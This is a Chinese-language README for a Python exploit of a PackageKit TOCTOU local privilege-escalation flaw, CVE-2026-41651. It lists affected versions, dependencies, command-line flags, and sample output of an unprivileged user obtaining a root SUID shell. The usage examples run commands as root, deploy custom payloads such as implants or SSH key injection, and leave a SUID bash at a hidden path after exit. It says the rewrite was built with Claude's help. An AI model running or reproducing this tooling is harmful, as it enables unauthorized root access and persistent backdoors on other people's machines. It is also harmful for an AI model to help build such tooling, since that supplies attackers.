PackageKit TOCTOU 本地权限提升漏洞的 Python PoC。 任何本地非特权用户都可以在无需认证的情况下以 root 身份安装任意软件包。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-41651 |
| 组件 | PackageKit 守护进程 (packagekitd) |
| 受影响版本 | 1.0.2 – 1.3.4 |
| 修复版本 | 1.3.5 |
| 影响 | 本地权限提升 → root |
此工具仅用于教育目的和授权的安全研究。
存在漏洞的操作系统: 任何运行 PackageKit >= 1.0.2 <= 1.3.4 的 Linux 发行版。
PoC 限制: 内置的包构建器仅生成
.deb文件,因此脚本需要 Debian/Ubuntu 主机才能正常运行。在基于 RPM 的系统上,请通过--payload-script提供自定义的 postinst 负载,并确保系统已安装dpkg/dpkg-dev,或者自行修改构建器。
Python: 3.6+
系统包(Debian/Ubuntu):
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0
注意依赖项:
python3-dbus和python3-gi不属于 Python 标准库,但几乎任何运行图形桌面环境(GNOME、KDE、XFCE 等)的机器上都已经存在,因为这些环境直接依赖于它们。在标准的 Ubuntu 桌面安装中,这两个库无需手动安装即可使用。在没有图形界面的最小化服务器上,它们可能缺失,因此上述apt install命令需要 sudo 权限,这与 LPE 场景相矛盾。实际上,任何运行 PackageKit 并带有桌面会话的机器都已经满足这些依赖。
gir1.2-glib-2.0提供了 GLib 的 GObject 自省类型库文件。python3-gi是 Python 绑定引擎,但它需要这些类型库文件才能与 GLib 通信。没有这个包,即使安装了python3-gi,from gi.repository import GLib也会失败。这两个包都会由任何基于 GNOME 的桌面自动安装。
关于仅使用标准库的尝试: 此 PoC 的早期版本曾试图通过将 D-Bus 调用替换为
gdbus/dbus-send子进程,然后直接在 Unix 套接字上通过 D-Bus 线协议通信来消除这些依赖。这两种方法都未能可靠地触发 TOCTOU 竞争条件:生成外部进程会在两次InstallFiles调用之间引入足够的延迟,导致 PackageKit 在步骤 2 到达之前处理步骤 1,从而破坏竞争。dbus-python绑定会在同一个已打开的套接字上以“即发即忘”方式发送两个调用,没有 fork 开销,这正是时序生效的原因。因此,仅使用标准库的版本已被回退。
验证 PackageKit 版本(无需 PoC):
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
示例:
# 检查目标是否易受攻击(不执行漏洞利用)
python3 cve-2026-41651.py --check
# 完整漏洞利用 → 交互式 root shell
python3 cve-2026-41651.py
# 以 root 身份执行单条命令
python3 cve-2026-41651.py --exec "id"
# 自定义负载(植入、SSH 密钥注入……)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# 退出后保留 SUID bash,自定义路径
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# 可脚本化/快速模式
python3 cve-2026-41651.py --timeout 60 --quiet
预期输出:
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
基于 Vozec 的原始 C 语言 PoC。 本版本为可移植的 Python 重写版。漏洞利用技术的所有功劳归于原作者。
Python 重写版在 Claude(Anthropic)的协助下开发完成。
| 标志 | 描述 |
|---|
--check | 查询 PackageKit 版本并报告漏洞,然后退出 |
--exec CMD | 以 root 身份执行单条命令,而非启动交互式 shell |
--payload-script FILE | 使用自定义的 postinst 脚本,而非内置的 SUID bash 投放器 |
--suid-path PATH | SUID bash 的放置路径(默认:/tmp/.suid_bash) |
--no-cleanup | shell 退出后保留 SUID bash |
--timeout N | 轮询 SUID bash 的秒数(默认:120) |
--quiet | 抑制进度输出(用于脚本调用) |